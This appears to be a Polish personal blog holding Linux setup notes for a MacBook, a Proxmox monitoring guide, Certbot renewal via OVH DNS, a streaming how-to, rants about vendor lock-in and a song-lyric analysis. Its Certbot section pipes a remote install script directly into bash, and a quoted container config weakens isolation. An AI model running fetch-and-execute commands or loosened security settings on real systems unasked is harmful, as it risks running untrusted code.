Instalacja GRUB: https://wiki.archlinux.org/title/Mac#Using_the_native_Apple_boot_loader_with_GRUB

sudo su -
pacman -S grub
pacman -S efibootmgr
grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=DUPA

DUPA to nazwa katalogu, który pojawi się w /boot i jednocześnie ID wpisu. Potem jeszcze trzeba wyprodukować konfigurację Gruba ale najpierw dopisać do pliku: /etc/grub.d/40_custom następującą zawartość:

search --no-floppy --set=root --label EFI
chainloader (${root})/EFI/custom/apple_set_os.efi
boot

Teraz tworzę konfig:

grub-mkconfig -o /boot/grub/grub.cfg

Po zbootowaniu, używam narzędzia gpu-switch (https://github.com/0xbb/gpu-switch) aby włączyć grafikę Intela:

gpu-switch -i

Robię reboot i sprawdzam, która karta jest aktywna:

cat /sys/kernel/debug/vgaswitcheroo/switch

Output wygląda podobnie:

0:DIS-Audio: :DynOff:0000:01:00.1
1:IGD:+:Pwr:0000:00:02.0
2:DIS: :Pwr:0000:01:00.0

Onacza to, że aktywna jest grafika intelowska ale NVidia nadal jest zasilana, a to mi się nie podoba. Należy ją wyłączyć następującym poleceniem:

echo OFF > /sys/kernel/debug/vgaswitcheroo/switch

Po ponownym sprawdzeniu cat-em mam to o co chodziło:

0:DIS-Audio: :DynOff:0000:01:00.1
1:IGD:+:Pwr:0000:00:02.0
2:DIS: :Off:0000:01:00.0

Karta o indeksie 2 (czyli NVidia) jest wyłączona.

Przydatny link: https://wiki.archlinux.org/title/MacBookPro10,x#Graphics

WiFi

Pierwszą rzeczą, która nie działała po instalce była karta WiFi.

pacman -S networkmanager

Ciche bootowanie

Wyciszenie dzwieku przy bootowaniu, koniecznie jako root:

chattr -i /sys/firmware/efi/efivars/SystemAudioVolume-7c436110-ab2a-4bbb-a880-fe41995c9f82

printf "\x07\x00\x00\x00\x00" > /sys/firmware/efi/efivars/SystemAudioVolume-7c436110-ab2a-4bbb-a880-fe41995c9f82

https://gist.github.com/0xbb/ae298e2798e1c06d0753

Zapamiętanie hasła (Nextcloud i inne programy)

W przypadku uruchamiania Nextcloud z automatu potrzebny jest jakis "zasobnik" na hasla, w moim przypadku keyring z Gnome:
sudo pacman -S libgnome-keyring
sudo pacman -S gnome-keyring
Potem przed odpaleniem klienta Nextcloud nalezy wywolac:
dbus-update-activation-environment --systemd DISPLAY
U mnie jest to w pliku startowym ~/bin/xmonad-startup.sh, ktory jest wywolywany z .xinitrc

Xorg

Informacje ogólne

Do wyłapywania kodów klawiatury znakomicie nadaje się program xev, używam go tak:

xev | sed -n 's/^.*keycode *\([0-9]\+\).*$/keycode \1 = /p'

W oknie które się pojawi wystarczy wciskać klawisze lub ich kombinacje, a w konsoli pojawiają się odpowiadające im kody.

Display manager

Display managerem przestal byc SDDM, a zastapil go ly https://github.com/fairyglade/ly:
yay -S ly
Wazne! .xinitrc musi byc plikiem wykonywalnym

Klawiatura

Układ klawiatury X'ów zapisałem w .Xmodmap, który wczytuję w .xinitrc, linia:

xmodmap ~/.Xmodmap

zawartość .Xmodmap to:

# Rewers myszy
pointer = 1 2 3 5 4 7 6 8 9 10 11 12
# Klawisze ciemniej / jasniej
keycode 232 = XF86KbdBrightnessDown
keycode 233 = XF86KbdBrightnessUp
# Poswietlenie klawiatury F5 i F6 z Shiftem
keycode 237 = XF86KbdBrightnessDown
keycode 238 = XF86KbdBrightnessUp
# Cisza / Ciszej / Glosniej F10/F11/F12
keycode 121 = XF86AudioMute
keycode 122 = XF86AudioLowerVolume
keycode 123 = XF86AudioRaiseVolume

następnie remapuję klawisze, np. żeby zamiast prawego Super mieć Alt do polskich liter, w .xinitrc:

/home/paczor/bin/klawisz_pl.sh

zawartość klawisz_pl.sh:

setxkbmap -model apple -layout pl -option caps:none
#/usr/bin/xmodmap -e 'remove mod4 = Super_R'
/usr/bin/xmodmap -e 'keycode 134 ='
/usr/bin/xmodmap -e 'keycode  94 = grave asciitilde grave asciitilde'
/usr/bin/xmodmap -e 'keycode 134 = ISO_Level3_Shift'
/usr/bin/xmodmap -e 'clear mod4'
#/usr/bin/xmodmap -e 'keycode 135 ='
#/usr/bin/xmodmap -e 'keycode 135 = ISO_Level3_Shift'

Mam więc zamapowany lewe Jabłko (lewy Cmd) jako klawisz Super, prawe Jabłko jako prawy Alt, klawisze funkcyjne działają normalnie, a ich funkcje specjalne osiągalne są gdy trzymam wciśnięty Fn.

Screensaver

W pliku ~/.config/systemd/user/xscreensaver.service mam unit dla systemd do odpalania xscreensavera, jego zawartość:

[Unit]
Description=XScreenSaver Daemon
[Service]
ExecStart=/usr/bin/xscreensaver --no-splash
[Install]
WantedBy=default.target

Włączam go przez:

systemctl --user enable xscreesaver.service

W ~/.xmonad/xmonad.hs mam linię mapującą Super+F12 na włączenie blokady ekranu, wygląda to tak:

, ((mod4Mask, 0xffc9), spawn "xscreensaver-command -lock")

Jak dodawać własne serwisy do systemd, tutaj: https://wiki.archlinux.org/title/Systemd/User.

Wiatraki

Laptop był/jest głośny, wiatraki kręcą się niemal cały czas na dużych obrotach chociaż load sytemu waha się wokół 10%, a temperatura CPU rzadko przekracza 70 st. Ej? To jest laptop, on tak może długo, nawet jeśli ma już ponad 8 lat (w 2022 r.). Powinien być cichy.

Zainstalowałem macfand-git, włączyłem ale wiatraki nadal szalały i zdarzało się pełne wyłączenie i włączenie - taki chwilowy suspend do RAM. Wyłączyłem.

Zainstalowałem mbfan-git

yay -S mbfan-git

I jest ciszej ale co kilka sekund wiatraki wchodzą na obroty, wnerwiające. Temperatura skoczyła do ponad 83 st.!

Hibernacja

Przed przejściem do stanu hibernacji dane z pamięci RAM powinny zostać gdzieś zapisane aby mogły być wczytane wraz z powrotem do stanu życia. U mnie jest to partycja swap.

Kernel musi "wiedzieć" gdzie szukać tych danych więc należy wskazać mu ww partycję. W przypadku używania GRUB-a polega to na edycji pliku /etc/default/grup i dodaniu wskazówki w linii:

GRUP_CMDLINE_LINUX_DEFAULT=""

ale wcześniej muszę znać UUID moje partycji swap, czyli:

sudo blkid -o full /dev/nvme0n1p4
/dev/nvme0n1p4: UUID="2004ae52-7d11-41a0-876d-4f3fa35ca2c4" TYPE="swap" PARTUUID="7853967f-c3fa-4183-9f9c-8d3fd9cee41f"

czyli linia ma wyglądać tak:

GRUB_CMDLINE_LINUX_DEFAULT="resume=UUID=2004ae52-7d11-41a0-876d-4f3fa35ca2c4"

Następnie generuję konfig dla GRUB-a:

grub-mkconfig -o /boot/grub/grub.cfg

Pozostało jeszcze skonfigurować initramfs. W pliku /etc/mkinitcpio.conf dopisujemy hook o nazwie resume, przykładowa linia powinna wyglądać podobnie:

HOOKS=(base udev autodetect keyboard modconf block filesystems resume fsck)

I generujemy nowy initramfs:

mkinitcpio -P

Wprowadzone zmiany oczywiście zadziałają dopiero po restarcie.

Warto zajrzeć do plików znajdujących się w /sys/power oraz poczytać jak kernel zarządza energią:

https://docs.kernel.org/admin-guide/pm/sleep-states.html?highlight=image_size#basic-sysfs-interfaces-for-system-suspend-and-hibernation

Przy konfiguracji posługiwałem się tym linkiem: https://wiki.archlinux.org/title/Power_management/Suspend_and_hibernate

Łkając nad sytuacją, piszę

2023-05-25T23:43:00+02:00

Czy zbyt wiele wymagam gdy sam chcę decydować jakiego systemu będę używał na laptopie lub telefonie? Na to wygląda. Podchodzę do swoich wyborów zbyt ideologicznie.

Nie chcę być zmuszany, a coraz częściej łapię ICH na tym, że to co dostaję to jest nie mój wybór. Ukułem nawet nowy termin, wzorując się na WYSIWYG, i jest to: What You Get Is What We Want You To Get. Ostatnie trzy słowa są zbędne więc wychodzi zgrabne nawiązanie do sieci Web: WYGWWW.

Do SIECI. Gdy sieć staje się matnią.

Kiedyś używałem Apple, i systemu, i komputerów. Z systemu zrezygnowałem kiedy zorientowałem się, że coraz rzadziej to ja decyduję, co dzieje się na MOIM laptopie, a coraz częściej, w imię bezpieczeństwa, to ONI robią z nim co chcą. Czy chcielibyście kupić kosiarkę do trawy, która kosi wasz ogród również tam, gdzie życzy sobie jej producent? Z pewnością nie.

Korzystanie z wielu usług wbudowanych w tzw. ekosystem Apple jeszcze nie jest tak boleśnie przymusowe, jak w smartfonach z Androidem, ale Apple jest już na równi pochyłej. Mocno rozpędzone. O tym za chwilę.

Smartfon z Androidem. Chciałem odetchnąć, wyrwać się na chwilę z chmurowych objęć Apple, odstawić iPhone. To była Nokia, co nie ma znaczenia, z Androidem One czyli "czyściutkim" systemem, charakteryzujacym się częstymi aktualizacjami.

Niemal od razu wpadłem w matnię Google.

Miałem już wcześniej doświadczenia z Nokią od Microsoftu, na którą nie dało się wgrać kontaktów, bez przekazania ich do firmowej chmury. Byłem więc przygotowany, przeżyłem ciężki poligon. Pilnowałem każdego kroku, oczekując w zamian, że ten telefon będzie mój.

Niemal straciłem... pracę.

Po wyłączeniu lub zablokowaniu wszystkich usług Google (główna, Services, co kilkanaście minut dawała znać, że chce żyć własnym życiem i wystawiała łeb wyskakujacym pop-upem) telefon przestał być smartfonem. Stał się obciążającą kieszeń cegłą. Fakt, że ktoś dzwoni oznajmiał kiedy chciał. A często dzwonił prezes. Coraz bardziej zniecierpliwiony moją telefoniczną absencją. Pozbyłem się go z obrzydzeniem, telefonu, nie prezesa, bo nie dał się zrootować, nie było też alternatywy dla OS-a.

Wróciłem do iPhone'a. Tak, mam wyłączone niemal wszystkie wynalazki Apple. Tak, wiem że ułatwiają życie. Ale ja nie pragnę mieć łatwiej! Ja chcę, żeby sprzęt słuchał mnie! Tylko tyle.

Wyłączone NIEMAL wszystkie... Zostawiłem w iCloud coś co Apple nazywa "Chmurą rodzinną". Wiecie... Takie coś, że jak doda się do tego urządzenia dzieci to można zarządzać czasem spędzanym przy telefonie. Nie jestem idiotą więc wszystkie dane podane do Apple, niestety za wyjątkiem numerów telefonów, były, są i będą fałszywe. Tak, wiem że i tak wiedzą. To jeszcze z czasów kiedy im ufałem.

"Chmura rodzinna".

Zapomnieli dopisać, że to ICH rodzina. Ja już tu nie mam nic do gadania. Próbowałem usunąć dzieci z tej chmury. Nie było sposobu. Dopóki nie skończą 16 lat, po prostu się nie da. Telefon do obsługi firmy tylko potwierdził tę smutną konstatację. Dodałeś, jak ja, dzieci do chmury? To już są ICH dzieci, to oni decydują co z nimi możesz zrobić. A możesz najwyżej poczekać parę lat albo przekazać do innej chmury. Innej? Ja chcę je odzyskać!

A słyszeliście o pomyśle Microsoftu, który ma zamiar blokować instalowanie innych systemów operacyjnych na laptopach z Windows? Wiem, że wielu z was nic to nie obchodzi. I, że M$ ma prawo to robić. To odpowiedź godna raba.

Dziś instalowałem znajomemu Windows 11, w trybie Home nie da się dokończyć instalacji bez zakładania konta w Microsofcie. W dodatku trzeba być online. Serio? Czy to co kupiłem jest moje czy częściowo moje?

A kto nas pyta czy chcemy na nowym sprzęcie tony bloatware'u? A po co mi Ms Office kiedy nie używam?

Po kiego diabła mi newsy na Desktopie? Może nie chcę się w ogóle łączyć z tym g. jakim się stały serwisy wiadomości?

Słowa, słowa, słowa... tak mówił taki jeden, wydaje się że nazbyt normalny, tam wśród zdrajców i morderców, a ja wśród niewolników.

A cholera wie

2023-05-19T10:44:00+02:00

[Encrypted] Co by było?

2023-03-03T08:44:00+01:00

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Komputer idealny

2023-02-14T19:31:00+01:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Jak dla kogo?

Spis narzędzi:
nnn - https://github.com/jarun/nnn
fzf - https://www.linux.pl/2022/05/22/fzf-uniwersalne-wyszukiwanie/
signal-cli
xmonad
xmobar
restic
chezmoi
rofi
nextcloud
fluxgui
rsibreak
trayer
caffeine
dispad / synclient
st
alacritty
tridactyl
obsidian
pavucontrol
zathura
nomacs
scrot
sigil
khal / vdirsyncer
alpine - do poczty
qalc
-------
Android:
tmuxer - żeby po SSH wysyłać SMS-y
signal-cli - żeby ogarniać zdalnie Signal
ntfy.sh

Grafana + Prometheus + Proxmox czyli prezentacja metryk z serwera

2023-02-11T00:36:00+01:00

Najszybciej na świecie uruchomić Grafanę i Prometheusa można za pomocą kontenerów.

IP maszyny z Proxmoxem: 192.168.1.2

IP maszyny z Grafaną i Prometheusem: 192.168.1.1

Na maszynie 192.168.1.1 mam Dockera, odpalam na niej kontenery z Grafaną i Prometeuszem.

Grafana

grafana.yml

docker-compose -f grafana.yml up -d

version: '3'

volumes:
  grafana-data:
    driver: local

services:
  grafana:
    image: grafana/grafana-oss:latest
    container_name: grafana
    ports:
      - "3000:3000"
    volumes:
      - grafana-data:/var/lib/grafana
    restart: unless-stopped

Prometheus

prometheus.yml

docker-compose -f prometheus.yml up -d

version: '3'

volumes:
  prometheus-data:
    driver: local

services:
  prometheus:
    image: prom/prometheus:latest
    container_name: prometheus
    ports:
      - "9090:9090"
    volumes:
      - /etc/prometheus:/etc/prometheus
      - prometheus-data:/prometheus
    restart: unless-stopped
    command:
      - "--config.file=/etc/prometheus/prometheus.yml"

W /etc/prometheus/prometheus.yml:

global:
  scrape_interval:     15s

# sam prometeusz we własnej osobie
scrape_configs:
  - job_name: 'prometheus'
    # tu nadpisujemy domyślny interwał czasowy
    scrape_interval: 5s
    static_configs:
      - targets: ['localhost:9090']
# a tu Proxmox
  - job_name: 'My Proxmox'
    metrics_path: /pve
    static_configs:
      - targets: ['192.168.1.2:9221']

Na maszynie z Proxmoxem instaluję Python3 oraz eksporter danych Proxmoxa do Prometeusza. Dodaję też użytkownika, na którego uprawnieniach będzie działał eksporter.

apt install python3 python3-pip
pip3 install prometheus-pve-exporter
mkdir /etc/prometheus
groupadd --system prometheus
useradd -s /sbin/nologin --system -g prometheus prometheus

W Proxmoxie tworzę grupę 'auditors', dodaję użytkownika 'prometheus' i dodaję do tej grupy. Tworzę Token API o nazwie 'prometheus' dla tego użytkownika. Zapisuję jego wartość, będzie zaraz potrzebna.

Dodaje uprawnienia, a właściwie rolę PVEAuditors (w opcjach: Permisions) dla użytkownika.

pveum acl modify / -user prometheus@pve -role PVEAuditor

Do pliku: /etc/prometheus/pve.yml wpisuję:

default:
  user: prometheus@pve
  token_name: "prometheus"
  token_value: "3f416134-f0f0-ff5-00f3-002d00ffc00b"
  verify_ssl: false

Linia 'token_value' zawiera wartość tokenu wspomnianą wyżej.

Tworzę plik dla systemd w /etc/systemd/system/prometheus-pve-exporter.service o następującej zawartości:

[Unit]
Description=Prometheus exporter for Proxmox VE
Documentation=https://github.com/znerol/prometheus-pve-exporter

[Service]
Restart=always
User=prometheus
ExecStart=/usr/local/bin/pve_exporter /etc/prometheus/pve.yml

[Install]
WantedBy=multi-user.target

Odświeżam konfig systemd:

systemctl daemon-reload

Odpalam eksporter i sprawdzam czy działa:

systemctl start prometheus-pve-exporter
systemctl status prometheus-pve-exporter

Jeśli jest OK, to włączam automatyczny start:

systemctl enable prometheus-pve-exporter

Na maszynie z Proxmoxem na porcie 9221, eksporter wypluwa metryki, można to sobie obejrzeć:

http://192.168.1.2:9221/pve?target=192.168.1.2

W Grafanie dodaję 'Data Source' i wybieram 'Prometheus'. W polu URL wpisuję adres maszyny: http://192.168.1.1:9090.

W bocznym menu wybieram Import i w polu 'Import via Grafana.com' wpisuję liczbę: 10347.

To jest szablon dashboardu do Proxmoxa, gotowiec. Klikam w 'Load', daję nazwę serwera z Proxmoxem i zachowuję nowy dashboard.

Internet to gówniana historia

2022-12-13T10:50:00+01:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Siedzę w Internecie od jego początków w Polsce, tak się złożyło że pracowałem w firmie, która pierwsza sprzedawała komercyjny dostęp do Internetu. To były łącza komutowane. Firma nazywała się Internet Technologies i prowadził ją człowiek z uśmiechem robota: Rafał Plutecki. Do gościa nic nie mam, był OK, miał może małe umiejętności interpersonalne ale pociągnął i rozwinął tę firmę na poziom korpo. Inna historia.

Wykazałem więc już, że z racji doświadczenia coś tam o Internecie wiem. Robię tak świadomie, taki zabieg marketingowy, żeby dobitniej brzmieć bo to co mam do powiedzenia jest nieco obrazoburcze.

Internet, traktowany jako całość, doskonale odzwierciedla nasze, ludzkie ułomności. Jeśli ktoś, jak ja, spodziewał się, że będzie to baza mądrości to jest w błędzie - to jest baza gówna. Na szczęście tylko w większości. "Na szczęście" - bo istnieje też mniejszość czyli coś co ma wartość.

Piszę słowa niniejsze w formie, z założenia, niewysłuchanego apelu, cichnącego krzyku na pustyni, licząc że echo, kolejne odbicie, dotrze do łaskawych uszu.

Zachowujcie tę mniejszość. Kopiujcie to co wartościowe. Wartościowe wg Was. Jasne, że dla kogoś kto lubi kotki, kotki będą warte zachowania, a dla mnie wzardy, chociaż wydaje mi się, że nawet na poziomie kotka można znaleźć jakąś wartość. Kto wie?

Sporo z moich bookmarków (zakładek) prowadzi już donikąd. Zniknęły. I będą znikać jeśli pasjonaci wartości nie użyją swoich zasobów do ich zachowania. Wiem, to kosztuje i pieniądze i czas. Ale warto.

Duplikujmy Wartość, utrzymujmy chociaż ten 1% w morzu ekstrementów.

Dalej już tylko nadzieja...

p.s.

Nie zamierzałem tego ale szukając ilustracji do powyższych wynurzeń wpisałem dwa słowa kluczowe: "światłość mądrość" w wyszukiwarki grafik. Sprawdź co ty dostanesz:
duckduckgo
google

p.p.s.

Ta jeszcze żyje: Antykwa Toruńska

Ta też: 24 praktyczne porady związane z projektami Arduino i ESP

I ta: Wynalazki i odkrycia

Ta też: Autonom

I ta: Matemaks

A zobacz ile z tych już umarło: https://eduinf.waw.pl/inf/alg/007_wwwbelfer/index.php mimo, że zostało przeniesione z Serwisu Edukacyjnego I LO w Tarnowie

Certbot i OVH

2022-12-12T22:31:00+01:00

Odnawianie certyfikatów Letsencrypt na hostach schowanych za firewallem może być przyjemne trzeba to zrobić raz i porządnie.

Dlaczego w ogóle istnieje ten problem i czego dotyczy? W moim przypadku najczęściej serwerów pocztowych, które nie tylko znajdują się firewallem ale na które nie mogę dynamicznie przekierować portów 80 i 443, aby odpowiedzieć na żądanie z Letsencrypt.

Ale po co przekierowywać te porty? Bo wystawianie nowego certyfikatu to proces składający się z kilku etapów w których wymieniana jest informacja między hostem, a serwerem Letsencrypt (LE). Komunikacja odbywa się przez porty 80 i 443.

W skrócie: w pewnym momencie serwer LE chce "pogadać" z serwerem HTTP na hoście na który wskazuje rekord DNS domeny, dla której wystawiamy nowy certyfikat (lub go odnawiamy), żeby przekonać się, że mamy do tego prawo. A prawo mamy jeśli jesteśmy adminem tego serwera.

No, ale co zrobić jeśli na firewallu porty 80 i 443 już są przekierowane na innego hosta?

Jeśli domena utrzymywana jest u dostawcy obsługiwanego modułem Certbota, sprawę mamy załatwioną bo innym sposobem autoryzacji jest udowodnienie, że mamy prawo do ustawiania rekordów DNS dla tej domeny.

Jeśli DNS obsługiwany jest przez OVH to problem rozwiązuje moduł do Certbota o nazwie: certbot-dns-ovh. Metoda jest prosta, najpierw modułowi zezwalamy na dostęp do API w OVH, dzięki temu może on dopisywać i usuwać rekordy w DNS. Rekordy te służą poświadczeniu, że my to rzeczywiście my i że mamy prawo poprosić o nowy certyfikat.

Instalujemy certbota (źródłem niech będzie SNAP, "paczkowany" bywa zbyt stary).

Tu instaluję na Debianie 10 (buster), inne distra mają podobnie.

Najpierw snap i certbot:

sudo apt update
sudo apt install snapd
sudo snap install core
sudo snap refresh core
sudo apt remove certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot

Kontener w Proxmoxie ma inaczej

W kontenerze na Proxmoxie powyższa instalacja nie powiedzie się, można kombinować z ustawieniami 'fuse':

Snap requires a bit more work. There may soon be a 'fuse' flag for the features option, but fuse can be dangerous. For now you have to do this:

- For unprivileged containers:

1) Put this in /etc/pve/lxc/$vmid.conf:

Code:
...
features: mount=fuse,nesting=1
lxc.mount.entry = /dev/fuse dev/fuse none bind,create=file 0 0
2) Inside the container: `apt install squashfuse`

- For privileged containers, also add:

Code:
...
# EDIT:
# We need to allow apparmor administration, by default mac_admin is dropped for privileged containers.
# Note that you do not want this for un-trusted containers...
lxc.cap.drop =
lxc.cap.drop = mac_override sys_time sys_module sys_rawio
Alternatively to squashfuse, privileged containers could use loop devices, but I wouldn't recommend it...

Note that enabling `fuse` in a container does not play well with backups, or anything that causes an `lxc-freeze` command to be executed on the container, as this can cause deadlocks in the kernel.

https://forum.proxmox.com/threads/ubuntu-snaps-inside-lxc-container-on-proxmox.36463/#post-230060

Ale wolę szybsze i bezpieczniejsze rozwiązanie czyli instalacja za pomocą PIP:

sudo apt-get remove certbot
sudo apt update
sudo apt install python3 python3-venv libaugeas0
sudo python3 -m venv /opt/certbot/
sudo /opt/certbot/bin/pip install --upgrade pip
sudo /opt/certbot/bin/pip install certbot certbot
sudo ln -s /opt/certbot/bin/certbot /usr/bin/certbot

Moduł Node do OVH

zainstalujmy go w /opt:

cd /opt
sudo git clone https://github.com/mcdado/certbot-dns-ovh.git
cd certbot-dns-ovh

Moduł używa Node.js więc pierwszym krokiem jest zainstalowanie Node na naszym serwerze. Najlepszym sposobem jest ominięcie instalacji z paczek i użycie NVM, a to ponieważ Node podlega szybkim zmianom, wkrótce więc może okazać się, że jest nieaktualny.

NVM to Node Version Manager, nazwa wyjaśnia wszystko. Instalacja jest trywialna:

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash

Następnie instalacja samego Node:

nvm install node

Domyślne instalowana jest najnowsza wersja, inne można wyświetlić tą komendą:

nvm list-remote

Mamy Node, pora zrobić resztę pracy, po której będzie można zapomnieć o ręcznym odnawianiu certyfikatów.

OVH: Appkey i AppSecret

Wchodzimy na ten adres: https://eu.api.ovh.com/createApp/

logujemy się na konto z domeną i generujemy App Key oraz App Secret. Pola "nazwa" oraz "opis" służą nam, ludziom, do pamiętania czemu służy konkretny klucz.

Teraz następuje kolejny krok autoryzacji aplikacji, w konsoli, nadal w katalogu /opt/certbot-dns-ovh odpalamy:

node bin/authorize.js --endpoint=ovh-eu --app_key=yourappkey --app_secret=yourappsecret

Jeśli wystąpi błąd mówiący o braku modułu "dotenv" należy go zainstalować:

.. code:: html

   npm install dotenv

Oczywiście w miejsce "yourappkey" i "yourappsecret" podstawiamy App Key i App Secret z poprzedniego kroku.

W konsoli pojawia się odpowiedź, mniej więcej taka:
{ validationUrl: 'https://eu.api.ovh.com/auth/?credentialToken=jed…', consumerKey: '69X…', state: 'pendingValidation' }

Zapamiętujemy klucz klienta (consumerKey). Kopiujemy URL do przeglądarki i zatwierdzamy dostęp do API, wybieramy też przez jaki czas dane te będą ważne. Sam wybrałem, że w nieskończoność bo... tak.

Znajdujący się w katalogu: /opt/certbot-dns-ovh plik .env.example kopiujemy do .env:

cd /opt/certbot-dns-ovh
cp .env.example .env

Edytujemy .env, wstawiając odpowiednie wartości uzyskane we wcześniejszych krokach:

OVH_ENDPOINT="ovh-eu"
OVH_APP_KEY="tutaj klucz czyli App Key"
OVH_APP_SECRET="tu sekret App Secret"
OVH_CUSTOMER_KEY="klucz kienta czyli consumerKey wyświetlony w konsoli"
DNS_TIMEOUT="tu możemy zwiększyć czas oczekiwania z domyślnych 60 sekund"

Przedostatni krok to uzyskanie certyfikatu, jeśli się powiedzie to mamy potwierdzenie, że nic nie spapraliśmy:

sudo certbot certonly --manual --preferred-challenges=dns --manual-auth-hook '/opt/certbot-dns-ovh/bin/create-record.js' --manual-cleanup-hook '/opt/certbot-dns-ovh/bin/delete-record.js' -d mojadomena.pl -d www.mojadomena.pl

Odnawianie: cron i systemd

Jeśli się udało to za pomocą komendy:

sudo crontab -e

edytujemy crontaba i wstawiamy na końcu linijkę:

@weekly certbot renew --quiet

czyli jako root uruchamiamy:

crontab -e

i wklejamy powyższą linijkę.

W nowych "linuksach" crontab nie zawsze działa, zamieszczam więc poniżej wersję dla systemd.

Plik: /etc/systemd/system/certbot-renewal.service:

[Unit]
Description=Certbot Renewal

[Service]
ExecStart=/usr/bin/certbot renew

Plik: /etc/systemd/system/certbot-renewal.timer (odpala certbot-renewal co tydzień):

[Unit]
Description=Timer for Certbot Renewal

[Timer]
OnBootSec=300
OnUnitActiveSec=1w

[Install]
WantedBy=multi-user.target

I jeszcze plik: /etc/letsencrypt/renewal-hooks/post/00-restart-mail.sh, któremy należy nadać bit uruchomienia:

#!/bin/bash
systemctl restart postfix
systemctl restart dovecot.service

sudo chmod +x /etc/letsencrypt/renewal-hooks/post/00-restart-mail.sh

Po skopiowaniu powyższych plików należy odświeżyć konfigurację systemd:

systemctl daemon-reload

No i zostaje uruchomienie serwisu:

systemctl start certbot-renewal.timer
systemctl enable certbot-renewal.timer

Aby sprawdzić czy timer działa:

systemctl status certbot-renewal.timer

Jak to się dzieje, że po tych zabiegach Cerbot już "wie" jak odnawiać certyfikaty?

Potrafi to, bo w katalogu /etc/letsencrypt/renewal powstaje plik z konfiguracją. Nosi on nazwę domeny z końcówką .conf. Czyli w przypadku domeny mojadomena.pl będzie to:

/etc/letsencrypt/renewal/mojadomena.pl.conf

Zajrzyj do środka do zrozumiesz.

Streaming from RTMP device to SRT listener

2022-11-14T14:46:00+01:00

Supose you have device like LiveU Solo or one of very popular chinese video encoders, those devices do not support SRT protocol so if you want stream to vMix you must find solution.

Generally you need to create some kind of middleware that will ingest RTMP stream and push it to SRT Listener in vMix.

You can set up nginx with nginx_rtmp module on server and ask nginx to restream video to web page with embedded HTML5 player. Then you can get it with vMix web browser input. But you can expect loss of quality.

Better way is to compile FFmpeg with SRT support and then ingest RTMP and restream with SRT:

git clone https://github.com/Haivision/srt.git
cd srt
./configure
make && make install
sudo apt -y install libssl-dev tclsh

Then get sources of FFmpeg as descibed there: https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu

but add following directive to configure before compiling:

./configure --enable-libsrt ...

But even better option is to create Docker container with all stuff prepared and ready to ingest and restream.
Supose your SRT converter is a Linux machine accessible at myserver.com domain and your vMix machine is behind firewall at my_vmix.com.
On myserver.com you need to run following shell script which pulls and starts Docker image with SRT capable version of FFmpeg:

#!/bin/sh
docker run --restart=unless-stopped -d --name=my_srt_converter -p 1935:1935 eyevinntechnology/toolbox-srttx --passthrough --inputtype=rtmp my_stream my_vmix.com:6001

As you can see it runs container which waits for RTMP stream on 1935 port then restream it to my_vmix.com on port 6001. This port on firewall redirects SRT stream to local vMix machine with SRT Listener waiting.

In my case local machine is 192.168.1.10 and SRT Listener has port 5000.

So everything looks like this:

Analiza tekstu piosenki Dawida Podsiadło pt. "Post"

2022-10-24T22:27:00+02:00

Najpierw sam tekst:

Czy ona z nim spała
Czy było bara bara
Wielce ciekawi mnie
Post
Czy staje na zakazach
Czy płaci każdy mandat
Na pewno nie
Post
Czy płaci alimenty
Kupuje im prezenty
Nie wydaje mi się
Post
Czy dalej dużo ćpa
Jakie tatuaże ma
Co za człowieka wrak
Post
A ja tu poszczę bo piątek
Więc rybę mam na obiad
I zemszczę się pomszczę
Niesprawiedliwe to idiota
Więc ja tu poszczę bo piątek
Na s na s na straży tu przy wrotach
No weź nie wpuszczaj ich Piotrek
To sama jest hołota
Nie będzie żaden Niemiec
Czy inny cudzoziemiec
Co dzień spluwał mi w twarz
Post
Zabierz te Pottery
Te tęczowe rowery
Weź mi to wszystko spal
Post
Zaczynam dziś odwierty
Bo węgiel to diamenty
Zimą będzie mnie grzał
Post
Kobieto weź nie pyskuj
Na moim świecie dysku
Masz mi rodzić i prać
Post
A ja tu poszczę bo piątek
Więc na obiad mam pstrąga
I zemszczę się pomszczę
Niesprawiedliwe to idiota
Więc ja tu poszczę bo piątek
Na s na s na straży tu przy wrotach
Piotrek no wpuść mnie do środka
No weź mi niebo pokaż
Rzucę kamieniem prosto w Twoją twarz
Nic o mnie nie wiesz a ja Ciebie znam
W niebieskim niebie nie otworzą bram
Bóg da zbawienie ale tylko nam
Rzucę kamieniem prosto w Twoją twarz
Nic o mnie nie wiesz a ja Ciebie znam
W niebieskim niebie nie otworzą bram
Bóg da zbawienie ale tylko nam
Post

Początkowe trzy z[a]wrotki, rozdzielone zgrabnym kontrapunktem, to panorama. Jej zadaniem jest umiejscowienie sedna, które zostanie gdzieś (w pełnym tekście) i/lub kiedyś (w czasie wyśpiewu) wyrażone oraz ma wszelkie cechy primingu (czyt. prajmingu). Podsiadło czyta dużo internetów, jak widać. Jadę dalej bo tu, to albo każdy wie albo nie ma o czym pisać, a panorama stanie się zrozumiała w kontraście do:

A ja tu poszczę bo piątek
Więc rybę mam na obiad
I zemszczę się pomszczę
Niesprawiedliwe to idiota
Więc ja tu poszczę bo piątek
Na s na s na straży tu przy wrotach
No weź nie wpuszczaj ich Piotrek
To sama jest hołota

Część pierwsza sedna się pojawia. Podsiadło Dawid zwraca uwagę, że podmiot liryczny jest poirytowany sytuacją, w której musi omijać mięso, w związku z czym, za pomocą znajomości (tu każdy rozumie, że to przecież śmieszne), u św. Piotra nie wpuści tych, którzy nie przejdą chrześcijańskiej walidacji. Co do znajomości (to jest śmieszne) rację ma, natomiast co do nie przejścia walidacji rację też ma!

Teraz na chwilę należy sobie przypomnieć co było w panoramie i przez kontrast pojąć, że taka postawa poszczącego nie jest dobra. I tu Podsiadło Dawid ma, jak najbardziej, rację.

Lecimy ze zwrotkami ostatnimi bo już druga część sedna przestępuje z niecierpliwością z nogi na nogę.

Nie będzie żaden Niemiec
Czy inny cudzoziemiec
Co dzień spluwał mi w twarz
Post
Zabierz te Pottery
Te tęczowe rowery
Weź mi to wszystko spal
Post
Zaczynam dziś odwierty
Bo węgiel to diamenty
Zimą będzie mnie grzał
Post
Kobieto weź nie pyskuj
Na moim świecie dysku
Masz mi rodzić i prać
Post

Piosenkarz z wąsem sięga GŁĘBIEJ niż internety, prezentując GŁĘBOKĄ znajomość:

idiomu kulturowego oraz historycznego (z[a]wrotka nr 4),
